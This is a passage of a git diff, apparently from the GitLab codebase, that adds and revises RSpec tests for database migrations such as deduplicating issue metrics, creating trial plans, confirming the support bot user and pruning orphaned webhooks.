+ sender = subject.header[:from].addrs[0]
+ expect(sender.display_name).to eq("#{user.name} (@#{user.username})")
+ expect(sender.address).to eq(gitlab_sender)
+ end
end
diff --git a/spec/migrations/20210226141517_dedup_issue_metrics_spec.rb b/spec/migrations/20210226141517_dedup_issue_metrics_spec.rb
new file mode 100644
index 00000000000..043884eb7b2
--- /dev/null
+++ b/spec/migrations/20210226141517_dedup_issue_metrics_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20210226141517_dedup_issue_metrics.rb')
+
+RSpec.describe DedupIssueMetrics, :migration, schema: 20210205104425 do
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:issues) { table(:issues) }
+ let(:metrics) { table(:issue_metrics) }
+ let(:issue_params) { { title: 'title', project_id: project.id } }
+
+ let!(:namespace) { namespaces.create!(name: 'foo', path: 'foo') }
+ let!(:project) { projects.create!(namespace_id: namespace.id) }
+ let!(:issue_1) { issues.create!(issue_params) }
+ let!(:issue_2) { issues.create!(issue_params) }
+ let!(:issue_3) { issues.create!(issue_params) }
+
+ let!(:duplicated_metrics_1) { metrics.create!(issue_id: issue_1.id, first_mentioned_in_commit_at: 1.day.ago, first_added_to_board_at: 5.days.ago, updated_at: 2.months.ago) }
+ let!(:duplicated_metrics_2) { metrics.create!(issue_id: issue_1.id, first_mentioned_in_commit_at: Time.now, first_associated_with_milestone_at: Time.now, updated_at: 1.month.ago) }
+
+ let!(:duplicated_metrics_3) { metrics.create!(issue_id: issue_3.id, first_mentioned_in_commit_at: 1.day.ago, updated_at: 2.months.ago) }
+ let!(:duplicated_metrics_4) { metrics.create!(issue_id: issue_3.id, first_added_to_board_at: 1.day.ago, updated_at: 1.month.ago) }
+
+ let!(:non_duplicated_metrics) { metrics.create!(issue_id: issue_2.id, first_added_to_board_at: 2.days.ago) }
+
+ it 'deduplicates issue_metrics table' do
+ expect { migrate! }.to change { metrics.count }.from(5).to(3)
+ end
+
+ it 'merges `duplicated_metrics_1` with `duplicated_metrics_2`' do
+ migrate!
+
+ expect(metrics.where(id: duplicated_metrics_1.id)).not_to exist
+
+ merged_metrics = metrics.find_by(id: duplicated_metrics_2.id)
+
+ expect(merged_metrics).to be_present
+ expect(merged_metrics.first_mentioned_in_commit_at).to be_like_time(duplicated_metrics_2.first_mentioned_in_commit_at)
+ expect(merged_metrics.first_added_to_board_at).to be_like_time(duplicated_metrics_1.first_added_to_board_at)
+ end
+
+ it 'merges `duplicated_metrics_3` with `duplicated_metrics_4`' do
+ migrate!
+
+ expect(metrics.where(id: duplicated_metrics_3.id)).not_to exist
+
+ merged_metrics = metrics.find_by(id: duplicated_metrics_4.id)
+
+ expect(merged_metrics).to be_present
+ expect(merged_metrics.first_mentioned_in_commit_at).to be_like_time(duplicated_metrics_3.first_mentioned_in_commit_at)
+ expect(merged_metrics.first_added_to_board_at).to be_like_time(duplicated_metrics_4.first_added_to_board_at)
+ end
+
+ it 'does not change non duplicated records' do
+ expect { migrate! }.not_to change { non_duplicated_metrics.reload.attributes }
+ end
+
+ it 'does nothing when there are no metrics' do
+ metrics.delete_all
+
+ migrate!
+
+ expect(metrics.count).to eq(0)
+ end
+end
diff --git a/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb b/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb
new file mode 100644
index 00000000000..e1727cb2a1c
--- /dev/null
+++ b/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20210406144743_backfill_total_tuple_count_for_batched_migrations.rb')
+
+RSpec.describe BackfillTotalTupleCountForBatchedMigrations, :migration, schema: 20210406140057 do
+ let_it_be(:table_name) { 'projects' }
+
+ let_it_be(:migrations) { table(:batched_background_migrations) }
+
+ let_it_be(:migration) do
+ migrations.create!(
+ created_at: Time.now,
+ updated_at: Time.now,
+ min_value: 1,
+ max_value: 10_000,
+ batch_size: 1_000,
+ sub_batch_size: 100,
+ interval: 120,
+ status: 0,
+ job_class_name: 'Foo',
+ table_name: table_name,
+ column_name: :id,
+ total_tuple_count: nil
+ )
+ end
+
+ describe '#up' do
+ before do
+ expect(Gitlab::Database::PgClass).to receive(:for_table).with(table_name).and_return(estimate)
+ end
+
+ let(:estimate) { double('estimate', cardinality_estimate: 42) }
+
+ it 'updates total_tuple_count attribute' do
+ migrate!
+
+ migrations.all.each do |migration|
+ expect(migration.total_tuple_count).to eq(estimate.cardinality_estimate)
+ end
+ end
+ end
+end
diff --git a/spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb b/spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb
new file mode 100644
index 00000000000..4f36a95f9cf
--- /dev/null
+++ b/spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require Rails.root.join('db', 'post_migrate', '20210413132500_reschedule_artifact_expiry_backfill_again.rb')
+
+RSpec.describe RescheduleArtifactExpiryBackfillAgain, :migration do
+ let(:migration_class) { Gitlab::BackgroundMigration::BackfillArtifactExpiryDate }
+ let(:migration_name) { migration_class.to_s.demodulize }
+
+ before do
+ table(:namespaces).create!(id: 123, name: 'test_namespace', path: 'test_namespace')
+ table(:projects).create!(id: 123, name: 'sample_project', path: 'sample_project', namespace_id: 123)
+ end
+
+ it 'correctly schedules background migrations' do
+ first_artifact = create_artifact(job_id: 0, expire_at: nil, created_at: Date.new(2020, 06, 21))
+ second_artifact = create_artifact(job_id: 1, expire_at: nil, created_at: Date.new(2020, 06, 21))
+ create_artifact(job_id: 2, expire_at: Date.yesterday, created_at: Date.new(2020, 06, 21))
+ create_artifact(job_id: 3, expire_at: nil, created_at: Date.new(2020, 06, 23))
+
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(1)
+ expect(migration_name).to be_scheduled_migration_with_multiple_args(first_artifact.id, second_artifact.id)
+ end
+ end
+ end
+
+ private
+
+ def create_artifact(params)
+ table(:ci_builds).create!(id: params[:job_id], project_id: 123)
+ table(:ci_job_artifacts).create!(project_id: 123, file_type: 1, **params)
+ end
+end
diff --git a/spec/migrations/add_new_trail_plans_spec.rb b/spec/migrations/add_new_trail_plans_spec.rb
new file mode 100644
index 00000000000..8ba6da11ad1
--- /dev/null
+++ b/spec/migrations/add_new_trail_plans_spec.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe AddNewTrailPlans, :migration do
+ describe '#up' do
+ before do
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return true
+ end
+
+ it 'creates 2 entries within the plans table' do
+ expect { migrate! }.to change { AddNewTrailPlans::Plan.count }.by 2
+ expect(AddNewTrailPlans::Plan.last(2).pluck(:name)).to match_array(%w(ultimate_trial premium_trial))
+ end
+
+ it 'creates 2 entries for plan limits' do
+ expect { migrate! }.to change { AddNewTrailPlans::PlanLimits.count }.by 2
+ end
+
+ context 'when the plan limits for gold and silver exists' do
+ before do
+ table(:plans).create!(id: 1, name: 'gold', title: 'Gold')
+ table(:plan_limits).create!(id: 1, plan_id: 1, storage_size_limit: 2000)
+ table(:plans).create!(id: 2, name: 'silver', title: 'Silver')
+ table(:plan_limits).create!(id: 2, plan_id: 2, storage_size_limit: 1000)
+ end
+
+ it 'duplicates the gold and silvers plan limits entries' do
+ migrate!
+
+ ultimate_plan_limits = AddNewTrailPlans::Plan.find_by(name: 'ultimate_trial').limits
+ expect(ultimate_plan_limits.storage_size_limit).to be 2000
+
+ premium_plan_limits = AddNewTrailPlans::Plan.find_by(name: 'premium_trial').limits
+ expect(premium_plan_limits.storage_size_limit).to be 1000
+ end
+ end
+
+ context 'when the instance is not SaaS' do
+ before do
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return false
+ end
+
+ it 'does not create plans and plan limits and returns' do
+ expect { migrate! }.not_to change { AddNewTrailPlans::Plan.count }
+ expect { migrate! }.not_to change { AddNewTrailPlans::Plan.count }
+ end
+ end
+ end
+
+ describe '#down' do
+ before do
+ table(:plans).create!(id: 3, name: 'other')
+ table(:plan_limits).create!(plan_id: 3)
+ end
+
+ context 'when the instance is SaaS' do
+ before do
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return true
+ end
+
+ it 'removes the newly added ultimate and premium trial entries' do
+ migrate!
+
+ expect { described_class.new.down }.to change { AddNewTrailPlans::Plan.count }.by(-2)
+ expect(AddNewTrailPlans::Plan.find_by(name: 'premium_trial')).to be_nil
+ expect(AddNewTrailPlans::Plan.find_by(name: 'ultimate_trial')).to be_nil
+
+ other_plan = AddNewTrailPlans::Plan.find_by(name: 'other')
+ expect(other_plan).to be_persisted
+ expect(AddNewTrailPlans::PlanLimits.count).to eq(1)
+ expect(AddNewTrailPlans::PlanLimits.first.plan_id).to eq(other_plan.id)
+ end
+ end
+
+ context 'when the instance is not SaaS' do
+ before do
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return false
+ table(:plans).create!(id: 1, name: 'ultimate_trial', title: 'Ultimate Trial')
+ table(:plans).create!(id: 2, name: 'premium_trial', title: 'Premium Trial')
+ table(:plan_limits).create!(id: 1, plan_id: 1)
+ table(:plan_limits).create!(id: 2, plan_id: 2)
+ end
+
+ it 'does not delete plans and plan limits and returns' do
+ migrate!
+
+ expect { described_class.new.down }.not_to change { AddNewTrailPlans::Plan.count }
+ expect(AddNewTrailPlans::PlanLimits.count).to eq(3)
+ end
+ end
+ end
+end
diff --git a/spec/migrations/backfill_operations_feature_flags_active_spec.rb b/spec/migrations/backfill_operations_feature_flags_active_spec.rb
index 4ec2a4a2a92..e49b317d850 100644
--- a/spec/migrations/backfill_operations_feature_flags_active_spec.rb
+++ b/spec/migrations/backfill_operations_feature_flags_active_spec.rb
@@ -10,9 +10,7 @@ RSpec.describe BackfillOperationsFeatureFlagsActive do
def setup
namespace = namespaces.create!(name: 'foo', path: 'foo')
- project = projects.create!(namespace_id: namespace.id)
-
- project
+ projects.create!(namespace_id: namespace.id)
end
it 'executes successfully when there are no flags in the table' do
diff --git a/spec/migrations/backfill_operations_feature_flags_iid_spec.rb b/spec/migrations/backfill_operations_feature_flags_iid_spec.rb
index bafe5830652..1ade08f657e 100644
--- a/spec/migrations/backfill_operations_feature_flags_iid_spec.rb
+++ b/spec/migrations/backfill_operations_feature_flags_iid_spec.rb
@@ -10,9 +10,7 @@ RSpec.describe BackfillOperationsFeatureFlagsIid do
def setup
namespace = namespaces.create!(name: 'foo', path: 'foo')
- project = projects.create!(namespace_id: namespace.id)
-
- project
+ projects.create!(namespace_id: namespace.id)
end
it 'migrates successfully when there are no flags in the database' do
diff --git a/spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb b/spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb
index 531c1dbb76a..268fadee0af 100644
--- a/spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb
+++ b/spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe CleanUpNoteableIdForNotesOnCommits do
end
def dirty_notes_on_commits
- notes.where(noteable_type: 'Commit').where('noteable_id IS NOT NULL')
+ notes.where(noteable_type: 'Commit').where.not(noteable_id: nil)
end
def other_notes
diff --git a/spec/migrations/confirm_support_bot_user_spec.rb b/spec/migrations/confirm_support_bot_user_spec.rb
new file mode 100644
index 00000000000..f6bcab4aa7d
--- /dev/null
+++ b/spec/migrations/confirm_support_bot_user_spec.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ConfirmSupportBotUser, :migration do
+ let(:users) { table(:users) }
+
+ context 'when support bot user is currently unconfirmed' do
+ let!(:support_bot) do
+ create_user!(
+ created_at: 2.days.ago,
+ user_type: User::USER_TYPES['support_bot']
+ )
+ end
+
+ it 'updates the `confirmed_at` attribute' do
+ expect { migrate! }.to change { support_bot.reload.confirmed_at }
+ end
+
+ it 'sets `confirmed_at` to be the same as their `created_at` attribute' do
+ migrate!
+
+ expect(support_bot.reload.confirmed_at).to eq(support_bot.created_at)
+ end
+ end
+
+ context 'when support bot user is already confirmed' do
+ let!(:confirmed_support_bot) do
+ create_user!(
+ user_type: User::USER_TYPES['support_bot'],
+ confirmed_at: 1.day.ago
+ )
+ end
+
+ it 'does not change their `confirmed_at` attribute' do
+ expect { migrate! }.not_to change { confirmed_support_bot.reload.confirmed_at }
+ end
+ end
+
+ context 'when support bot user created_at is null' do
+ let!(:support_bot) do
+ create_user!(
+ user_type: User::USER_TYPES['support_bot'],
+ confirmed_at: nil,
+ record_timestamps: false
+ )
+ end
+
+ it 'updates the `confirmed_at` attribute' do
+ expect { migrate! }.to change { support_bot.reload.confirmed_at }.from(nil)
+ end
+
+ it 'does not change the `created_at` attribute' do
+ expect { migrate!}.not_to change { support_bot.reload.created_at }.from(nil)
+ end
+ end
+
+ context 'with human users that are currently unconfirmed' do
+ let!(:unconfirmed_human) do
+ create_user!(
+ name: 'human',
+ email: 'human@example.com',
+ user_type: nil
+ )
+ end
+
+ it 'does not update their `confirmed_at` attribute' do
+ expect { migrate! }.not_to change { unconfirmed_human.reload.confirmed_at }
+ end
+ end
+
+ private
+
+ def create_user!(name: 'GitLab Support Bot', email: 'support@example.com', user_type:, created_at: Time.now, confirmed_at: nil, record_timestamps: true)
+ users.create!(
+ name: name,
+ email: email,
+ username: name,
+ projects_limit: 0,
+ user_type: user_type,
+ confirmed_at: confirmed_at,
+ record_timestamps: record_timestamps
+ )
+ end
+end
diff --git a/spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb b/spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb
index a58121fb708..50b5897220a 100644
--- a/spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb
+++ b/spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb
@@ -10,9 +10,7 @@ RSpec.describe DeleteInternalIdsWhereFeatureFlagsUsage do
def setup
namespace = namespaces.create!(name: 'foo', path: 'foo')
- project = projects.create!(namespace_id: namespace.id)
-
- project
+ projects.create!(namespace_id: namespace.id)
end
it 'deletes feature flag rows from the internal_ids table' do
diff --git a/spec/migrations/delete_security_findings_without_uuid_spec.rb b/spec/migrations/delete_security_findings_without_uuid_spec.rb
new file mode 100644
index 00000000000..b32ea89f8aa
--- /dev/null
+++ b/spec/migrations/delete_security_findings_without_uuid_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe DeleteSecurityFindingsWithoutUuid do
+ let(:users) { table(:users) }
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:ci_pipelines) { table(:ci_pipelines) }
+ let(:ci_builds) { table(:ci_builds) }
+ let(:ci_artifacts) { table(:ci_job_artifacts) }
+ let(:scanners) { table(:vulnerability_scanners) }
+ let(:security_scans) { table(:security_scans) }
+ let(:security_findings) { table(:security_findings) }
+ let(:sast_file_type) { 5 }
+ let(:sast_scan_type) { 1 }
+
+ let(:user) { users.create!(email: 'test@gitlab.com', projects_limit: 5) }
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
+ let(:ci_pipeline) { ci_pipelines.create!(project_id: project.id, ref: 'master', sha: 'adf43c3a', status: 'success') }
+ let(:ci_build) { ci_builds.create!(commit_id: ci_pipeline.id, retried: false, type: 'Ci::Build') }
+ let(:ci_artifact) { ci_artifacts.create!(project_id: project.id, job_id: ci_build.id, file_type: sast_file_type, file_format: 1) }
+ let(:scanner) { scanners.create!(project_id: project.id, external_id: 'bandit', name: 'Bandit') }
+ let(:security_scan) { security_scans.create!(build_id: ci_build.id, scan_type: sast_scan_type) }
+
+ let!(:finding_1) { security_findings.create!(scan_id: security_scan.id, scanner_id: scanner.id, severity: 0, confidence: 0, project_fingerprint: Digest::SHA1.hexdigest(SecureRandom.uuid)) }
+ let!(:finding_2) { security_findings.create!(scan_id: security_scan.id, scanner_id: scanner.id, severity: 0, confidence: 0, project_fingerprint: Digest::SHA1.hexdigest(SecureRandom.uuid), uuid: SecureRandom.uuid) }
+
+ it 'successfully runs and does not schedule any job' do
+ expect { migrate! }.to change { described_class::SecurityFinding.count }.by(-1)
+ .and change { described_class::SecurityFinding.where(id: finding_1) }
+ end
+end
diff --git a/spec/migrations/migrate_bot_type_to_user_type_spec.rb b/spec/migrations/migrate_bot_type_to_user_type_spec.rb
index 2b85f2a7f69..fcd7f1ebcb8 100644
--- a/spec/migrations/migrate_bot_type_to_user_type_spec.rb
+++ b/spec/migrations/migrate_bot_type_to_user_type_spec.rb
@@ -15,6 +15,6 @@ RSpec.describe MigrateBotTypeToUserType, :migration do
migrate!
- expect(users.where('user_type IS NOT NULL').map(&:user_type)).to match_array([1, 2, 3])
+ expect(users.where.not(user_type: nil).map(&:user_type)).to match_array([1, 2, 3])
end
end
diff --git a/spec/migrations/migrate_elastic_index_settings_spec.rb b/spec/migrations/migrate_elastic_index_settings_spec.rb
new file mode 100644
index 00000000000..41483773903
--- /dev/null
+++ b/spec/migrations/migrate_elastic_index_settings_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require Rails.root.join('db', 'migrate', '20210324131727_migrate_elastic_index_settings.rb')
+
+RSpec.describe MigrateElasticIndexSettings do
+ let(:elastic_index_settings) { table(:elastic_index_settings) }
+ let(:application_settings) { table(:application_settings) }
+
+ context 'with application_settings present' do
+ before do
+ application_settings.create!(elasticsearch_replicas: 2, elasticsearch_shards: 15)
+ end
+
+ it 'migrates settings' do
+ migrate!
+
+ settings = elastic_index_settings.all
+
+ expect(settings.size).to eq 1
+
+ setting = settings.first
+
+ expect(setting.number_of_replicas).to eq(2)
+ expect(setting.number_of_shards).to eq(15)
+ end
+ end
+
+ context 'without application_settings present' do
+ it 'migrates settings' do
+ migrate!
+
+ settings = elastic_index_settings.all
+
+ expect(settings.size).to eq 1
+
+ setting = elastic_index_settings.first
+
+ expect(setting.number_of_replicas).to eq(1)
+ expect(setting.number_of_shards).to eq(5)
+ end
+ end
+end
diff --git a/spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb b/spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb
index b2c36db2e1d..f066b9c90cd 100644
--- a/spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb
+++ b/spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb
@@ -12,9 +12,7 @@ RSpec.describe MigrateOpsFeatureFlagsScopesTargetUserIds do
def setup
namespace = namespaces.create!(name: 'foo', path: 'foo')
project = projects.create!(namespace_id: namespace.id)
- flag = flags.create!(project_id: project.id, active: true, name: 'test_flag')
-
- flag
+ flags.create!(project_id: project.id, active: true, name: 'test_flag')
end
it 'migrates successfully when there are no scopes in the database' do
diff --git a/spec/migrations/move_container_registry_enabled_to_project_features2_spec.rb b/spec/migrations/move_container_registry_enabled_to_project_features2_spec.rb
new file mode 100644
index 00000000000..11d43a36bc9
--- /dev/null
+++ b/spec/migrations/move_container_registry_enabled_to_project_features2_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20210401131948_move_container_registry_enabled_to_project_features2.rb')
+
+RSpec.describe MoveContainerRegistryEnabledToProjectFeatures2, :migration do
+ let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
+
+ let!(:projects) do
+ [
+ table(:projects).create!(namespace_id: namespace.id, name: 'project 1'),
+ table(:projects).create!(namespace_id: namespace.id, name: 'project 2'),
+ table(:projects).create!(namespace_id: namespace.id, name: 'project 3'),
+ table(:projects).create!(namespace_id: namespace.id, name: 'project 4')
+ ]
+ end
+
+ before do
+ stub_const("#{described_class.name}::BATCH_SIZE", 3)
+ end
+
+ around do |example|
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ example.call
+ end
+ end
+ end
+
+ it 'schedules jobs for ranges of projects' do
+ migrate!
+
+ # Since track_jobs is true, each job should have an entry in the background_migration_jobs
+ # table.
+ expect(table(:background_migration_jobs).count).to eq(2)
+
+ expect(described_class::MIGRATION)
+ .to be_scheduled_delayed_migration(2.minutes, projects[0].id, projects[2].id)
+
+ expect(described_class::MIGRATION)
+ .to be_scheduled_delayed_migration(4.minutes, projects[3].id, projects[3].id)
+ end
+
+ it 'schedules jobs according to the configured batch size' do
+ expect { migrate! }.to change { BackgroundMigrationWorker.jobs.size }.by(2)
+ end
+end
diff --git a/spec/migrations/move_container_registry_enabled_to_project_features_spec.rb b/spec/migrations/move_container_registry_enabled_to_project_features_spec.rb
deleted file mode 100644
index c7b07f3ef37..00000000000
--- a/spec/migrations/move_container_registry_enabled_to_project_features_spec.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210226120851_move_container_registry_enabled_to_project_features.rb')
-
-RSpec.describe MoveContainerRegistryEnabledToProjectFeatures, :migration do
- let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
-
- let!(:projects) do
- [
- table(:projects).create!(namespace_id: namespace.id, name: 'project 1'),
- table(:projects).create!(namespace_id: namespace.id, name: 'project 2'),
- table(:projects).create!(namespace_id: namespace.id, name: 'project 3'),
- table(:projects).create!(namespace_id: namespace.id, name: 'project 4')
- ]
- end
-
- before do
- stub_const("#{described_class.name}::BATCH_SIZE", 3)
- end
-
- around do |example|
- Sidekiq::Testing.fake! do
- freeze_time do
- example.call
- end
- end
- end
-
- it 'schedules jobs for ranges of projects' do
- migrate!
-
- expect(described_class::MIGRATION)
- .to be_scheduled_delayed_migration(2.minutes, projects[0].id, projects[2].id)
-
- expect(described_class::MIGRATION)
- .to be_scheduled_delayed_migration(4.minutes, projects[3].id, projects[3].id)
- end
-
- it 'schedules jobs according to the configured batch size' do
- expect { migrate! }.to change { BackgroundMigrationWorker.jobs.size }.by(2)
- end
-end
diff --git a/spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb b/spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb
new file mode 100644
index 00000000000..1db52781956
--- /dev/null
+++ b/spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe PopulateDismissalInformationForVulnerabilities do
+ let(:users) { table(:users) }
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:vulnerabilities) { table(:vulnerabilities) }
+
+ let(:existing_dismissed_at) { Time.now }
+ let(:states) { { detected: 1, dismissed: 2, resolved: 3, confirmed: 4 } }
+ let!(:namespace) { namespaces.create!(name: "foo", path: "bar") }
+ let!(:user_1) { users.create!(name: 'John Doe', email: 'john_doe+1@example.com', projects_limit: 5) }
+ let!(:user_2) { users.create!(name: 'John Doe', email: 'john_doe+2@example.com', projects_limit: 5) }
+ let!(:project) { projects.create!(namespace_id: namespace.id) }
+ let!(:vulnerability_params) do
+ {
+ project_id: project.id,
+ author_id: user_1.id,
+ title: 'Vulnerability',
+ severity: 5,
+ confidence: 5,
+ report_type: 5
+ }
+ end
+
+ let!(:detected_vulnerability) { vulnerabilities.create!(**vulnerability_params, state: states[:detected]) }
+ let!(:resolved_vulnerability) { vulnerabilities.create!(**vulnerability_params, state: states[:resolved]) }
+ let!(:confirmed_vulnerability) { vulnerabilities.create!(**vulnerability_params, state: states[:confirmed]) }
+
+ let!(:dismissed_vulnerability_1) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], updated_by_id: user_2.id) }
+ let!(:dismissed_vulnerability_2) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], last_edited_by_id: user_2.id) }
+ let!(:dismissed_vulnerability_3) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], dismissed_at: existing_dismissed_at, author_id: user_2.id) }
+ let!(:dismissed_vulnerability_4) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], dismissed_by_id: user_1.id, author_id: user_2.id) }
+ let!(:dismissed_vulnerability_5) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], dismissed_at: existing_dismissed_at, dismissed_by_id: user_1.id, updated_by_id: user_2.id) }
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ it 'updates the dismissal information for vulnerabilities' do
+ expect { migrate! }.to change { dismissed_vulnerability_1.reload.dismissed_at }.from(nil).to(dismissed_vulnerability_1.updated_at)
+ .and change { dismissed_vulnerability_1.reload.dismissed_by_id }.from(nil).to(user_2.id)
+ .and change { dismissed_vulnerability_2.reload.dismissed_at }.from(nil).to(dismissed_vulnerability_2.updated_at)
+ .and change { dismissed_vulnerability_2.reload.dismissed_by_id }.from(nil).to(user_2.id)
+ .and change { dismissed_vulnerability_3.reload.dismissed_by_id }.from(nil).to(user_2.id)
+ .and change { dismissed_vulnerability_4.reload.dismissed_at }.from(nil).to(dismissed_vulnerability_4.updated_at)
+ .and not_change { dismissed_vulnerability_3.reload.dismissed_at }.from(existing_dismissed_at)
+ .and not_change { dismissed_vulnerability_4.reload.dismissed_by_id }.from(user_1.id)
+ .and not_change { dismissed_vulnerability_5.reload.dismissed_at }.from(existing_dismissed_at)
+ .and not_change { dismissed_vulnerability_5.reload.dismissed_by_id }.from(user_1.id)
+ .and not_change { detected_vulnerability.reload.dismissed_at }.from(nil)
+ .and not_change { detected_vulnerability.reload.dismissed_by_id }.from(nil)
+ .and not_change { resolved_vulnerability.reload.dismissed_at }.from(nil)
+ .and not_change { resolved_vulnerability.reload.dismissed_by_id }.from(nil)
+ .and not_change { confirmed_vulnerability.reload.dismissed_at }.from(nil)
+ .and not_change { confirmed_vulnerability.reload.dismissed_by_id }.from(nil)
+ end
+end
diff --git a/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb b/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb
new file mode 100644
index 00000000000..a28ca12a10d
--- /dev/null
+++ b/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+require Rails.root.join('db', 'migrate', '20210325092215_add_not_valid_foreign_key_to_group_hooks.rb')
+
+RSpec.describe RemoveRecordsWithoutGroupFromWebhooksTable, schema: 20210330091751 do
+ let(:web_hooks) { table(:web_hooks) }
+ let(:groups) { table(:namespaces) }
+
+ before do
+ group = groups.create!(name: 'gitlab', path: 'gitlab-org')
+ web_hooks.create!(group_id: group.id, type: 'GroupHook')
+ web_hooks.create!(group_id: nil)
+
+ AddNotValidForeignKeyToGroupHooks.new.down
+ web_hooks.create!(group_id: non_existing_record_id, type: 'GroupHook')
+ AddNotValidForeignKeyToGroupHooks.new.up
+ end
+
+ it 'removes group hooks where the referenced group does not exist', :aggregate_failures do
+ expect { RemoveRecordsWithoutGroupFromWebhooksTable.new.up }.to change { web_hooks.count }.by(-1)
+ expect(web_hooks.where.not(group_id: groups.select(:id)).count).to eq(0)
+ expect(web_hooks.where.not(group_id: nil).count).to eq(1)
+ end
+end
diff --git a/spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb b/spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb
new file mode 100644
index 00000000000..1d35da528e4
--- /dev/null
+++ b/spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20210302150310_schedule_migrate_pages_to_zip_storage.rb')
+
+RSpec.describe ScheduleMigratePagesToZipStorage, :sidekiq_might_not_need_inline, schema: 20201231133921 do
+ let(:migration_class) { described_class::MIGRATION }
+ let(:migration_name) { migration_class.to_s.demodulize }
+
+ let(:namespaces_table) { table(:namespaces) }
+ let(:projects_table) { table(:projects) }
+ let(:metadata_table) { table(:project_pages_metadata) }
+ let(:deployments_table) { table(:pages_deployments) }
+
+ let(:namespace) { namespaces_table.create!(path: "group", name: "group") }
+
+ def create_project_metadata(path, deployed, with_deployment)
+ project = projects_table.create!(path: path, namespace_id: namespace.id)
+
+ deployment_id = nil
+
+ if with_deployment
+ deployment_id = deployments_table.create!(project_id: project.id, file_store: 1, file: '1', file_count: 1, file_sha256: '123', size: 1).id
+ end
+
+ metadata_table.create!(project_id: project.id, deployed: deployed, pages_deployment_id: deployment_id)
+ end
+
+ it 'correctly schedules background migrations' do
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ create_project_metadata("not-deployed-project", false, false)
+
+ first_id = create_project_metadata("project1", true, false).id
+ last_id = create_project_metadata("project2", true, false).id
+
+ create_project_metadata("project-with-deployment", true, true)
+
+ migrate!
+
+ expect(migration_name).to be_scheduled_delayed_migration(5.minutes, first_id, last_id)
+ expect(BackgroundMigrationWorker.jobs.size).to eq(1)
+ end
+ end
+ end
+end
diff --git a/spec/models/application_record_spec.rb b/spec/models/application_record_spec.rb
index 6a0f2290b4c..7e6ac351e68 100644
--- a/spec/models/application_record_spec.rb
+++ b/spec/models/application_record_spec.rb
@@ -93,13 +93,6 @@ RSpec.describe ApplicationRecord do
end
end
- describe '.at_most' do
- it 'limits the number of records returned' do
- create_list(:user, 3)
